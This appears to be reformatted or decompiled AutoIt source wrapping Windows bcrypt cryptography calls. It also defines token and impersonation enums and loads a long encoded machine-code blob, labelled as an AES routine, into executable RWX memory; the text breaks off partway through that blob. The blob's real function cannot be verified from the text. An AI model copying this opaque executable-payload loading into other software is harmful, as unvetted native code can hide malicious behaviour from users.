Func __CryptoNG_BCryptGenerateSymmetricKey($hAlgorithmProvider,$vSecret) Local $iError= 0,$iStatusCode= 0 Local $tSecretBuffer="" Local $aResult[0] Local $hKey=-1 Local $xSecret=Binary("") If IsString($vSecret) Then $xSecret=StringToBinary($vSecret,$SB_UTF8) Else $xSecret=Binary($vSecret) EndIf $tSecretBuffer=DllStructCreate(StringFormat("byte data[%i]",BinaryLen($xSecret))) DllStructSetData($tSecretBuffer,"data",$xSecret) $aResult=DllCall($__ghBcryptDll,"int","BCryptGenerateSymmetricKey","handle",$hAlgorithmProvider,"handle*", Null ,"ptr", Null ,"ulong", 0 ,"struct*",$tSecretBuffer,"ulong",DllStructGetSize($tSecretBuffer),"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError,- 1 ) EndIf _VarIsArrayVar($iStatusCode,$aResult,0) _VarIsArrayVar($hKey,$aResult,2) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,- 1 ) EndIf Return $hKey EndFunc Func __CryptoNG_BCryptGetProperty($hObject,$sProperty) Local $iError= 0,$iStatusCode= 0,$iBufferLength= 0 Local $tBuffer="" Local $aResult[0] $aResult=DllCall($__ghBcryptDll,"int","BCryptGetProperty","handle",$hObject,"wstr",$sProperty,"ptr", Null ,"ulong", 0 ,"ulong*", 0 ,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError,Binary("")) EndIf _VarIsArrayVar($iStatusCode,$aResult,0) _VarIsArrayVar($iBufferLength,$aResult,5) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,Binary("")) EndIf $tBuffer=DllStructCreate(StringFormat("byte data[%i]",$iBufferLength)) $aResult=DllCall($__ghBcryptDll,"int","BCryptGetProperty","handle",$hObject,"wstr",$sProperty,"struct*",$tBuffer,"ulong",DllStructGetSize($tBuffer),"ulong*", 0 ,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError,Binary("")) EndIf _VarIsArrayVar($iStatusCode,$aResult,0) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,Binary("")) EndIf Return $tBuffer EndFunc Func __CryptoNG_BCryptOpenEncryptionAlgorithmProvider($sAlgorithmId,$sProvider="Microsoft Primitive Provider") Local $aResult[0] Local $iError= 0,$iStatusCode= 0 Local $hAlgorithmProvider= 0 $aResult=DllCall($__ghBcryptDll,"int","BCryptOpenAlgorithmProvider","handle*", 0 ,"wstr",$sAlgorithmId,"wstr",$sProvider,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,- 1 ) EndIf _VarIsArrayVar($iStatusCode,$aResult,0) _VarIsArrayVar($hAlgorithmProvider,$aResult,1) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,- 1 ) EndIf Return $hAlgorithmProvider EndFunc Func __CryptoNG_BCryptOpenHashAlgorithmProvider($sAlgorithmId,$bHMAC= False,$sProvider="Microsoft Primitive Provider") Local $aResult[0] Local $iError= 0,$iStatusCode= 0 Local $hAlgorithmProvider= 0 $aResult=DllCall($__ghBcryptDll,"int","BCryptOpenAlgorithmProvider","handle*", 0 ,"wstr",$sAlgorithmId,"wstr",$sProvider,"ulong",($bHMAC)?($CNG_BCRYPT_ALG_HANDLE_HMAC_FLAG):( 0 )) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,- 1 ) EndIf _VarIsArrayVar($iStatusCode,$aResult,0) _VarIsArrayVar($hAlgorithmProvider,$aResult,1) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,- 1 ) EndIf Return $hAlgorithmProvider EndFunc Func __CryptoNG_BCryptSetProperty($hObject,$sProperty,$vValue) Local $iError= 0,$iStatusCode= 0 Local $aResult[0] Switch VarGetType($vValue) Case "String" $aResult=DllCall($__ghBcryptDll,"int","BCryptSetProperty","handle",$hObject,"wstr",$sProperty,"wstr",$vValue,"ulong",BinaryLen($vValue),"ulong", 0 ) Case Else $__gsLastErrorMessage="An unrecognized variable type was encountered in __CryptoNG_BCryptSetProperty () ("&VarGetType($vValue)& _ ")" Return SetError(- 1 ,$iError, False ) EndSwitch If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError, False ) EndIf _VarIsArrayVar($iStatusCode,$aResult,0) If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode, False ) EndIf Return True EndFunc Func __CryptoNG_DllCallErrorMessage($iError) Local $sErrorMessage="" Switch $iError Case 1 $sErrorMessage="Unable to use the DLL file." Case 2 $sErrorMessage="Unknown return type." Case 3 $sErrorMessage="Function not found in the DLL file." Case 4 $sErrorMessage="Bad number of parameters." Case 5 $sErrorMessage="Bad parameter." Case Else $sErrorMessage="Unrecognized error. @error = "&$iError EndSwitch Return $sErrorMessage EndFunc Func __CryptoNG_Shutdown() If $__ghBcryptDll<>-1 Then DllClose($__ghBcryptDll) _VarIsNumber($__ghBcryptDll,-1) EndIf EndFunc Func __CryptoNG_Startup($bDebug= False) If $__ghBcryptDll=-1 Then If $bDebug Then $__gbDebugging= True $__ghBcryptDll=DllOpen("bcrypt.dll") If $__ghBcryptDll=-1 Then $__gsLastErrorMessage="Unable to open bcrypt.dll" Return SetError( 1 , 0 , False ) EndIf OnAutoItExitRegister("__CryptoNG_Shutdown") EndIf Return SetError( 0 , 0 , True ) EndFunc Func __CryptoNG_StatusMessage($iStatusCode) Local $sStatusMessage="" Switch $iStatusCode Case $CNG_STATUS_SUCCESS $sStatusMessage="The operation completed successfully. " Case $CNG_STATUS_INVALID_PARAMETER $sStatusMessage="An invalid parameter was passed to a service or function." Case $CNG_STATUS_NO_MEMORY $sStatusMessage="Not enough virtual memory or paging file quota is available to complete the specified operation." Case $CNG_STATUS_NOT_FOUND $sStatusMessage="The object was not found." Case $CNG_STATUS_BUFFER_TOO_SMALL $sStatusMessage="The buffer is too small to contain the entry." Case $CNG_STATUS_INVALID_HANDLE $sStatusMessage="An invalid HANDLE was specified." Case $CNG_STATUS_DATA_ERROR $sStatusMessage="An error occurred in reading or writing data." Case $CNG_STATUS_NOT_SUPPORTED $sStatusMessage="The request is not supported." Case Else $sStatusMessage=StringFormat("Unrecognized status code. (%X)",$iStatusCode) EndSwitch Return $sStatusMessage EndFunc Global Const $MEM_COMMIT = 0x00001000 Global Const $PAGE_EXECUTE_READWRITE = 0x00000040 Global Const $MEM_RELEASE = 0x00008000 Global Enum $MEM_LOAD , $MEM_TOTALPHYSRAM , $MEM_AVAILPHYSRAM , $MEM_TOTALPAGEFILE , $MEM_AVAILPAGEFILE , $MEM_TOTALVIRTUAL , $MEM_AVAILVIRTUAL Global Enum $TOKENPRIMARY = 1, $TOKENIMPERSONATION Global Enum $SECURITYANONYMOUS = 0, $SECURITYIDENTIFICATION , $SECURITYIMPERSONATION , $SECURITYDELEGATION Global Enum $TOKENUSER = 1, $TOKENGROUPS , $TOKENPRIVILEGES , $TOKENOWNER , $TOKENPRIMARYGROUP , $TOKENDEFAULTDACL , $TOKENSOURCE , $TOKENTYPE , $TOKENIMPERSONATIONLEVEL , $TOKENSTATISTICS , $TOKENRESTRICTEDSIDS , $TOKENSESSIONID , $TOKENGROUPSANDPRIVILEGES , $TOKENSESSIONREFERENCE , $TOKENSANDBOXINERT , $TOKENAUDITPOLICY , $TOKENORIGIN , $TOKENELEVATIONTYPE , $TOKENLINKEDTOKEN , $TOKENELEVATION , $TOKENHASRESTRICTIONS , $TOKENACCESSINFORMATION , $TOKENVIRTUALIZATIONALLOWED , $TOKENVIRTUALIZATIONENABLED , $TOKENINTEGRITYLEVEL , $TOKENUIACCESS , $TOKENMANDATORYPOLICY , $TOKENLOGONSID Global Enum $NOT_USED_ACCESS = 0, $GRANT_ACCESS , $SET_ACCESS , $DENY_ACCESS , $REVOKE_ACCESS , $SET_AUDIT_SUCCESS , $SET_AUDIT_FAILURE Global Enum $TRUSTEE_IS_UNKNOWN = 0, $TRUSTEE_IS_USER , $TRUSTEE_IS_GROUP , $TRUSTEE_IS_DOMAIN , $TRUSTEE_IS_ALIAS , $TRUSTEE_IS_WELL_KNOWN_GROUP , $TRUSTEE_IS_DELETED , $TRUSTEE_IS_INVALID , $TRUSTEE_IS_COMPUTER Global Enum $SIDTYPEUSER = 1, $SIDTYPEGROUP , $SIDTYPEDOMAIN , $SIDTYPEALIAS , $SIDTYPEWELLKNOWNGROUP , $SIDTYPEDELETEDACCOUNT , $SIDTYPEINVALID , $SIDTYPEUNKNOWN , $SIDTYPECOMPUTER , $SIDTYPELABEL Func _MemVirtualAlloc($pAddress,$iSize,$iAllocation,$iProtect) Local $aResult=DllCall("kernel32.dll","ptr","VirtualAlloc","ptr",$pAddress,"ulong_ptr",$iSize,"dword",$iAllocation,"dword",$iProtect) If @error Then Return SetError(@error,@extended, 0 ) Return $aResult[0] EndFunc Func _MemVirtualFree($pAddress,$iSize,$iFreeType) Local $aResult=DllCall("kernel32.dll","bool","VirtualFree","ptr",$pAddress,"ulong_ptr",$iSize,"dword",$iFreeType) If @error Then Return SetError(@error,@extended, False ) Return $aResult[0] EndFunc Global $_AES_CodeBuffer Global $_AES_CodeBufferMemory Global $_AES_EncryptOffset Global $_AES_DecryptOffset Global $_AES_EncryptKeyOffset Global $_AES_DecryptKeyOffset Global $_AES_EncryptECBOffset Global $_AES_DecryptECBOffset Global $_AES_EncryptCBCOffset Global $_AES_DecryptCBCOffset Global $_AES_EncryptCFBOffset Global $_AES_DecryptCFBOffset Global $_AES_CryptOFBOffset Global $_AES_ModeResetOffset Global Const $AES_CBC_MODE = 0 Global Const $AES_CFB_MODE = 1 Global Const $AES_OFB_MODE = 2 Func _AES_Exit() $_AES_CodeBuffer= 0 _MemVirtualFree($_AES_CodeBufferMemory, 0 ,$MEM_RELEASE) EndFunc Func _AES_Startup() If @AutoItX64 Then Return False Local $Code='magAAIcA24PsHItEJCBmiQgIEUQoBIvvjt8H6EMQDgGDxBzCig6HySfWIWgcZNJvEAE3svY3iPFiUAnAhEFUFhsQaAwYK01OAA8I6BxXDSsj2/kPxhaJyyyZPzBXNBIQJDw5Ajo4ojNwChEsCNKF+fTuFkL2/M1CBsj/X4gSA1nkC/MrhCztkXxKbJwGIUwlBBvGgPIhgDHAw3RVCu1XVlNcMy5Qo1yjQMN0x6ybSBQPtrgkB4X/dFNH0tGOgQK+gXjyj2F4E4tMJMsdcIl8gBgB+esEORjqfiNcA4N9xebH5jLMCsMGwfaIZwajGMfG9412BXIN+A9+2dqegBAalAxAHyHHHYnQKcPB+ASF8A+EDv+GovbDAxJEkY14RTM5wtz6aPW/vjIITKHWGOmzFshABxA2MgO2FGZH0kPIdkbIFQI5wdokAxzg7RIEDnB2iQUHODtEBoOcHaJBB84O0SAI5wdokAlzg7RICjnB2iQLHODtEgwOcHaJDQc4O0QOg5wdovsHavYbEBo7DMZSwkX6AsRCqs9VSMiopUE8NAHoTdw2QvQYMf8CuAGTqgFbXl9dwyYd1VEkcniSQEZwf+YafpBI4XGVa8jVRMcIw0TFZVtnWUNORsXruFR+PiwUfORM3C/oVFaGi9AxihR0oYbF6XVRkC4F+oiQ8maXmIaZGPfGAyEPhTNj/kT2fonIFlirqJpScbSoPeszSKSdnwNk/yiF+weIMhIIDnB2gQwHOS0pGOZHKQp+HYspJc9xELcLgXS16dqU04teb7Wt5xshdNy2/dIOKLQ8iWASUCRUzrAyXS9YSWaORK2ctEPzFipNXLTA+OsGOWzGRn4naFETriOxUFGJJtEyCxIOXUpUEHB5TMC6d0AV+oHTG0FdIrzInFAgAozZO/CGJvo2XJEIQUyV6yzIfNypycICJYYYFB66PQOpVN22QkpkIDoECAWpBQYo6QyJmVWoLgfCMheIFimprwzynRjPIRHKVqc+5CMCSB' & _ 'zPcMgDkSCe4ZEEcYz3DAWJKBnuGQadG1d2HAZ7R8gfB06weIPcSAhOsHiD3EgJTrB4g9xICk6weIPcSAtOsHiD3EgMTrB4g9xIDU6weIPcSA5OsHiD3FMkQh4S4JlHNyqZFlBCe0C2YJklT3EWkglhStj+CyE8epHncTQUR7FMFeQPJN59SRYEQtAhx5HFp+XAjFPbjxKvNNOVdkukBBNXwhTBTwdMi3RZokueIzFE+YjGzEtHPMTU/TJcJ8m4yOdlTxA65ylcZKQ3RCAxwQQCCIaRDOtEGBySAfLr6IuZHTq3F2XgMcKJFuQH+WVv5DMR9yHp6oYpASCYcx4KMcFUTqYzAiUc7Y19CRMygWgse2N+LSw/YIPRNM4YnOlGoTwsrLJ/wvH8pxAglKJTO4hCvkyM41r6TCTJCAZR/WIqGgw6dhnO+ieHJSG2QV2I2IWNRJOCxvSyP0LUTYm4X4Ue72HkSV9dQmxyTA4CiRwCAyQgCAS/wAWxnD201xvCc+xZZO76/AxyIAKWaaUOYbkfHA32E8RIIGQDJ1i4wyEEOsQohkIFSil/2lmC77LPhX2WiHvss4vfZZ6O+yyR99lnlL7LPZf2W5rNEiid8lgEbCV89T9ZBlOI+FSippLzmahPm1UYc9SS3FnEVEstC5MpiZfFChId258liLShS994539YuSrC+oiQPJtipTm5GAoQnQWyiDFZFMpYEQX+LMJWkfyniKjoTQgEiwwTVPFKBCPyHRzrJbKuZjD3LLQlAa6zstO1Ak0UN9KXuulsufH374k0R2ri50dnTOQUmks99FyyyxQZRLAVNEPCRrgwNP2BVWM7AmyLrCSIrr7unOqABx+8kISPtMiMhPfFD+N8ROvBJv0E4GRkRoXtEO4CgY0wd4P3Mt40MBSI0DjIDgWQQCIGQEgHiVACCCRYCAmQNCIKQDwLi8wIDJBMIg1AVA70VqFQXAMP6k7EMUssQaPrJ4sGrOhhs81Hn82h25/NdXDWhFV5kFUaHPPqi6j8MAazKCY1PTcCDU7W' $Code&='Jzi9Fb40RDiJBFIKQCQFMkgkBjJQJAcyWCQIMjQkCTI8JAoyRCQLMkwkDDfIkA3IXJAOyCy+xIT0kLZRpST5dJKlNNGNiU8DGaUoMvQQG/9IgCZsVWu0rSCQ/qRwcJGESARtxFYIlzjSTf/mxGQsJziQ/DTrIJAmkk6w7acpQHRUg+mRCr+LBCsxwxuvftSh2xVoRHucSBKROA8MAe+UtbQ8sZ5CAoF0lOlOWbI3MklOgxyLdDODfM1sQKbCD4h1NwDB/gSF9nQ9gwLuATHb6wpLrCIdL9KVBQdUHQXWBB8Xx41ILVkQOQKGdNe4SBwO5huHaZI8JqPLvDK9RdrBeA8D8BNfwfpjqPGESNIYd4mD6uqNljSSlYlhRus+6kaYH3NDyA8COcQDg5xIBDnEBYOcSAY5xAeDnEgIOcQJg5xICjnEC4OcSAw5xA2DnEgOOcXqCJMW0hbiiYtoiNaNhTXEA5jfhFSuSLuQnhyLRSS1usN7hvkJZ4dYAiRcH5IsYYRmDXODJRwkKTCMgzyZNXOy/yHSdH5c+etMORoTMQNdFVBDmwycCAw51p6hdEVbmqHMDAoFdJDpZWSbjh6sZ0cMtsoyFIm6EKSXDNK5CFITyusY/zsyXhJOg71WDEv5CTe9kSszR9wzXQSxTQjkVQwagf+gJYRTdpZBGEPAEL4BiOCFdAq4XtDE6cELjbUR8ot1hZp9DMEYr5jpVxjoUYOdNK/OGO7OtNwbBHvS74QKDCDqX1Yo6DohIDyudux2vIxQ6woIhB7oiyyfwc0QJRiPxgnYTOqp3BQzrJ4njd4VCEjaPYucUjEe1TOUlh6P0E8cQ8HoEJvpIGnR+VggvIEMDF6gnbSCi6qXkRvUvXZQG185iegl8YgVyisGIdbQe4KP4mSCP3DegY34pYGP4o6BP3EIHqHPgB/EuIB+4TKAG/H5fx/E4n9+4Vx/G/IjFU8x+8SGfm/ETX5/ETZ++4SwfW/Pd3H8YEd97hHafL8RoXz8ikd87iM' & _ 'E1CPLe/viez9wLnuN+PV6j+Leej9wWHqN+R8Kogg/eIJ5jfhJeY/iMnk/cKx4jfhiaI/iS2g/cMVnh8jSWl5DRwInWp6ncgiAegwxwL4CEhCxN+opUvuA88QUCsPrEpAB+vFMVheNdhDfT4iWec4KxDIMfMCMI+BWkO+y6BEICjnJxyHtZOwiDBHrCUE2geMjcj3DoulAx4aMesX16jDJiyOEjgfLMwSsDM7toCAkqq2Zps4kXlbjCI+kMW/KdlQxjc9WDBTLqY47CLyoTF6JTetPuRzeAoVQ61WH3ojVgVWn5aHeViFdVfb+VY/kDT/xo1QPoX9UD7FGVBrZmzIUUOXe/oTFUz6EoVM+xGhTehBUU/+TaHjeQlK8w0NS7IpHUvFzUnZWv3Cl3tDlUYfYrFGP4pVRNfgiUYV5Bw/hzlAfxLdQa/FEUArxKVAPsfBPH8TZT2vxZk8K8UtPD7ISFUL7TjX4iE6FeG1Oh9g0To/kHW6hqk0K97RNPsRWTX8RP02vxMxMK8SxTD7EeEx/EWFMr8TuSyvE00s+xIk7fxFyO/xepd9srDOEKayH5W9Qso8W9Q3aNoXeWOQ6jS8Wv0VsuRTB2o/eMF47wFvUYapSmamtYJ56A8Hnxw9KAnDhEAnPyhIKBT8yARwIA4k4HhZyB9TmICEGGc4TBFIGBY8h54lw7BhafAtQ4yIKhETLCKsG3R8iz4lY0D9q/ELlIQ4Z6SEMQQZSDf3ih0TRiUjhUOhePkTwOFgP7WlMcc0DqonNweIYj9odvAkQMe8opAuQCEEYQWnl/8NEAhMYiXiURv6LPRQ289weZNmiHAgNQngEiFJNfxAgiCREKCIsAsB9EQgbojARNAg4hEA8c4ZGDOhAhEJEIUgQTCEmkRC6IVAQVJxhEFx2QnwjFHRCYCFkEGiIbBCMyBjdEHCIdE9wiHwQP8gc163Ly4ahKLCECMWmmIgbCKy7jGIRsuZ7ESAbopA5lB3GOZwMjYZDJLwUgcoC1wSgcqQ5qAjLyBCsh8eA8AoB' $Code&='RcZFCqC4FwzzOIkM/m7pqWaE2uUszYTrCn4giShAeueFkM/doUmF+3iS2nIE5izOhu0KTfx+i/xiDhRDDCMNE1ygClhkDE0TYhIUhAZWESYgBEQQF4xCFjLZIRSCBlIV7ib9ATh6Eigk3cL5diAsmonLJMHrWR4cO3iB3QLZpAsIEBhcj1NZQBMYiWgzXX6EoiIvm8rzoc9KM4KjhibxUM95iGgEid1PZeIwETQIOI0QPOJAEUQCahkIG6JIEUwIUI0QVOTK1CoFZUYM6GCEQmR7jRBs4nARdAGgeAgQjdF4CHyJsGKpQmjLmBKxOmtvt5UvcSMUXliot9NIv5TlmGx3nI2RoMikYrh3ERgbpxjDPCQj9Ky4w4WYtBIMx6DG30DjCPnI6LxkRDWE+/hfTZIo7SWxUTUPj1XJ/eB+geG7UxCKjNX8wIv2+IT4R8QiyPDeyxDMl1aQwMKDxAznWZEUIihALHKB5gshzjrClgsWMKR5B2IGOstZtClgemieM1UOHCRrWJVcLBBEDCdmDSzUSpMtTEFuSHRceoHnCyHPu0KWVsYqWEBnFKkGFXJ+iAwRFCMbFRomn2GXGTzKGIkfGB6FEByHUh304g3TRDh5EZR1JjAjns/MgnEXNBKKidkUkqg8DHZAyc6By1ILCA0wTqpAExiKw5qq9UTqoibCll2NKwflKPHp7pvt7B6ltExCCHyWklJTpc+RJXjyP0wME26n0Bo0Mw4IxwQ9izgx66mUYQB0EXAEEu+MqrbdmVLA7g+26473pTC+AMYmcEC3UgSuiERSwZrpPJlGqrxQjRBU4lgRXAI8GQgbomA0QmSeoRFsryNwRHQ4eIRAfJJCcyMMXrkEoa3EqKIERrB8lAJE6WRrtpOJrw+5JagoALxb9PK9Qb/eeb2I0HKKcBDC3RGg8qQe+xysjfGwHyO0ZLhyvBkODBSN0cAfIcTkyHLMHICNz8Fv77pOut43pN0qzqQLGBAYZLrnNBATxMjQiDN8MhTUMQg' & _ 'C2CIx+4S63DFUcQgYhRXfXZl+/pQm+2je5ZZiQTyZ3feO4EhRBIHkF6lpaugtSonsReTE4HIUG8DsCIu9SZlE0RA/1wvw+CB0TcQLfwwPEEgnABh1G+suPZEbHJBPdCU8L2Ofuyy6gJAQB7jcHxfrDalM/WuAZJvx/+P5GlgOZET1DIUIr/ky6ghbVREgIjRAOFqB4wsgy3UyQPNygeYHmcaIlT+Mr2p42TUtPLll8SEIXgboTv9qiACIUqgpc4xCDogMSVOat1L5lK4J9ei0a/bRRAyizY8zabICr6VvKxOWUPw+NBKywc4PnfEbGcruQaHmDQIVGBsQNt4zMxQJDNUkr6msJMvHGoADgNAHjRxb5jRQ2xF/zwMBU8MX3kSGHe6ANHaB9jEOIVASHf9J8f6iOgxk9pn9xMVIKe0ObG0bCMSD9+47R90szS1qehP1Ut3l9aQZzLS24qlJVUUf2tEWpQVmCCqQ7AS7nqqojZB8QxzfIVJk+FaYjyEM9EA83qWDn/4U95uzz0Lcj+WCHP3icUIQyV3+My9ZESbeTW7s7g4QqMOwnLYvaSuuB1nraxr4Q4OyigIibV7r6KITGNhdz/GnGT5fgxXUieZlFOqu9do8GYfpAQxJQtDJiBGkb1MrmXOBzUS1Sx3tYc/rS/Yt+xEb61stNjMrTtbiVpAm9w2yybCn0xOlhvdlLz7ZNajVkwlkqGT5REzp+dokiDIMDQfyWfkm3+SMmAUcjkA0zoO0RB1s9x9F2j1i26XlomSlcwUU1dkJ2k0FucDzpdyfyxTZHfI8BNmLIlBDz5lt6OJNIRIt7wI8fwX/Mv35wvSk2M2Y1u6CRFlb3lgK/EhwuhRTBNpB8vPdH8d9bwcreKUgCDfutXxI6xQX98poOzNdcxEyaxdYDDJ0FDnzF8hUgRUMt9yZaZWcaLp4LP+ZrekqmPh6yixlTOYzL9pS3kq/hRbr9fHOiOuWaZBC34laeDKB/RUnljvzIpVfF1Y4XJqASWqJSD2HNVw89l482WsZ72Cg' $Code&='Fc3riQ1jMfzdpd2W9RZpPTFEMwrp7i3ZM6YrpGTPkhbxZExd+SmP2YjNLwTZUIzQ7oxCVIhYcVxjwNI4u2JPaXSs1MCPu3yFy/RgJG1u3RPxKpos85N52TLUot/nfablcfEqIkX5ti28bbROjbdCss5st0bLIM/E/HhAms4hRERIOEyJHArEe2giGBkcD3yHRBQ3aP9EMGg0hRA44jzMnq/OiJRnRBwyFB75Dp6hu1yF+lLO+yT+G2JwIKXVBGfp+FEoDiIsRwx8gc0HaIirZohoIGQMcs3RIaPpyBUyDOniGpXMPM5qy9SPjhiJ/hfMMsL346DEU5nSLNGaEg2xG74vTmjTaKITSb0UCfUYM7p9t2pyVsAI1GWecKdE5EY0yN5z3CsHifIx2iTRiCkzm74UGAx4l4wU0EjPvFB2o7qwg8QgnRxkRDBEiUgf14mkjx5aB+vjxQ8Qy92hS5kNmH29S99v0yJomPran5XPb/lSzBk/ftJ/m7biHMlpBRA9X70sTrPf4vtlGShMlHF0NTHrSifZhc2joCTd7cUI+Ql3nlvnzVTPNKk3To4FlqJdgsqJ0dMK5dFqq98U06n8iaGl1Uqn8rQpAn5WY3Y+x96yOl8QmYlM04LeI57a/fuMQ9PImaWR6QjR82dm0+ViNmitM/xbOzU+i1ok2zLR9TEEGd7xN1G4P2LiM2SM0AmbuBiN0RgbiBhrYtIcnNAbna2iIJ5GvCIYRRTSFxEUuiMUcRQOoiAEoGIUJAxdIXEMG6IMNxAM6mlCedcs7eUQie8LnogQ3REQuBCORiifYXkEOzFpM1SSndPfcyPTXErW2j7I1WUsKJIoi+xeI+QoEuNFTKI11tzwu7GGQJlnQl+TKNjfhcXfvCWXzWnaldEW+5oQsv4kLDoiLHjft5EnfJJF96WymxyLGUoq2BTf6s2C3Mdp81Em3TpFrwkN7ywCBLh+W8QUXTItIC6QI5gRDHSJHBdIEZyIELpEBIukqmO16iIhKOkChE0' & _ '/ECwgze0RKF5+dUIoP92FxN0y61aoXJyD9ZAs6Cy0zU7XpGjfkPiC1btDSRYP1EmXLByIkz/ori/LiORYCJiMk0JEXFAEElhwLT/+KAQJWHQWPL2UlUl4OX2KDwSpfJd1ifJcXoHpPXWRbB39iaNXt8tpYkNp4e8h8zdPaRY6cWRUkXVieGBZT+kWciV4ZDrERW+JeGhOOZFsYnhs5a4kaVpXhAXay2Z9TFRjvMVfW93bJ2OyfCPvibQr7GhNWGCoWPMyXeJAFxBEuEiNEEy8lUtat0RIXfriMB8QNLg4hcQ8LiMgTxC8aEpZt1BIXe+l7AMtKGvOV2Ymf0ssiLLzkSC+pxCaS+XnJA0pErunGCuSs9XrHCdLCAQAWKs13QkB/gERuYnXbyftiET9CvoLkAh1SOoSIeKKPJGRSIESOL2WKgT0JFgIim785VnD+TAPIkDlEljeblZrCgruX/0z/RKY4KJj6BCB5AuyDAToLkqi1qT58CXsRWLRBA6IBPRMzgOz3uLzVGJxBD95AM5hMPulRuTlWc1AJN9zafuvkM5ehWzpx0qyWawYp6NEGG6IGNRGGLLUMlW/1hQUo+gUjdEUGogU1kbYSuNT0iMLHEoM51MJ0YnKiPpVkOoUFFKAKNIRi3TVx13F0yqdIdbT4sudm4qJ1ZnR2t3KAtc53BS8DsTGVK2Qj91vtNCS8xKtKieQqHTxG6IcNxAc18U2t4kiCPsXiVFXWcAYHL659W81nqfoXnQwI6jEEhCn9atCnq14xSXITvVtHFwGCpyaJDWbwjQktZoKLCSZdRA8To2UBIGVeYnQ306uIpWyCWvkbTA4otv083ppHDyo+YkoiXztiFJeNvUh0eQEdKjBuLCdPzlRLAp6lbPNzH2JQqi00zn1FTSep9henTJ1VTc7WThKkiI0+xeI+TQ7NWnHQtTOypZbCCuaCWpPc/2uReTfLkrX/ahu0LrIOHRBOD3Aa+JEa/0uNP7rzdX2qRlxAOlZ0SXb6xIc47+IMLpApJc265WxxagX' $Code&='pevZPZEtPHSfRg6alZVO01gIyJUfTLauXjpE5W8ZIQRRBB3iPk44jhqILLpCtL0wiZh+VmnjvyIpNMkIuFzuxQTod6g0S03d9K1h53c+QuWxfg2T26Lp1uD7zPbjqfHrPEbpEs4geeH6RiZGgLKEHZCIgukzDGcjkYxBpkoHSSIa2TMSalF9lF7rMh2kvPTqxDQkqDOttChKTsE4y920C3ksuQql0UZYaHCVtGC4S7lPCWh0WWBLK8AYxGh4lztyLic0RWRo6Moy/4EEV5wMQLomQ0uJBGzyePvSGbkM8t5VnDxb8nxU8o9E1bo6+FA775kOcN0zRHTW9O6MW/d1Vos0E3hgOwsTeGQrCCd40J+RAm+pbBj/6DFwRuFyJpIeBGHk3y5Pzje9ZiGzPLXeIE/JN/IXi3hQnRqLeFSVF494WOnrlgexGEd42agHsiXER0OyILonIUlupNZXqYbSZSyqeYhjE9LiS78hONE4YxkjIM0jLSSeI+kCGWhA8ZXsRzC8EUJoRHRpUtCCtIZJ/GIZ2Rs8F0gXTGoYkvNMq1YBsyy1zhmiMB8QNLg4hcQ8ENEn3pxbQKoPT0edhiMSiN90St+JPxSl4l++j3j3Kyc+eF0jt/53dx+ULKyRtJIC8XUMIgz1nU4BdYmUCNsnuvNRCt7nAvWW53z9Su+j+JGFXAKpCZom0F4yv/Vk66ThXv3dIPKTxidI/lIdfu7QPfCWqKJ1nyx/DhSLxBDOLnwbZwj4J2Q9sMbIMzQRHErHlfVF7nJb7xLHDif6RE7zthIk9+txNALOCN0SMLKpEnAEshJ3nelcSOJ/nxeRQKhShP0ILImQggN1HOsvf7IbfxUcbqjU0AXfjQhW7M8bTFBpjF7154MQMxJSGwkiCWpE1TCJNhKlJDhIv5FAIqNEnoGJ8xLXJPtIfJHjIjlEgpuJLxL/JIdINJGOIkNERMSJ3hLpJMtIVJF7IpREMqaJwhIjJD1I7pFMIpVEC0KJ+hLDJE5ICJEuIqF' & _ 'EZiiJ2RIkJLJIdpFbIqJESW2JixLRJCVIcpH4IvZEZIaJaBKYJBZI1JGkIlxEzF2JZRK2JJJIbJFwIkhEUP2J7RK5JNpIXpEVIkZEV6eJjRKdJIRIkJHYJqsp6eqP8tNk0wkKSPeR5CJYRAW4ibMSRSQGSNCRLCIeRI/KiT8SDyQCSMGRryK9RAMBiRMSiiRrSDqRkSIRREFPiWcS3CTqSJeR8iLPRM7wibQS5iRzSJaRrCJ0RCLnia0SNSSFSOKR+SI3ROgciXUS3yRuSEeR8SIaRHEdiSkSxSSJSG+RtyJiRA6qiRgSviQbSPyRViI+REvGidISeSQgSJqR2yLARP54ic0SWiT0SB+R3SKoRDOIiQcSxyQxSLGREiIQRFkniYAS7CRfSGCRUSJ/RKkZibUSSiQNSC2R5SJ6RJ+TickSnCTvSKCR4CI7RE2uiSoS9SSwSMiR6yK7RDyDiVMSmSRhSBeRKyIERH66iXcS1iQmSOGRaSIURGNViSESDCR9VmoBqqhel74RAFH0p1B+QWVTABoXpMM6J16WADura8sfnUXxHqz6WIBL4wOTIDDyVQOtdm32iMyokfUCAEwlT+XX/MUqdcsAJjVEgLVio48A3rFaSSW6G2cAReoOmF3+wOEAwy91AoFM8BIAjUaXo2vT+cYAA49f5xWSnJUOv21666BSWdrUvgCDLVh0IdNJ4ABpKY7JyER1wh6JavRAeXiZWD5rACe5cd2+4U+2APCIrRfJIKxmAH3OOrRj30oYAOUaMYKXUTNgAGJTf0WxZHfgA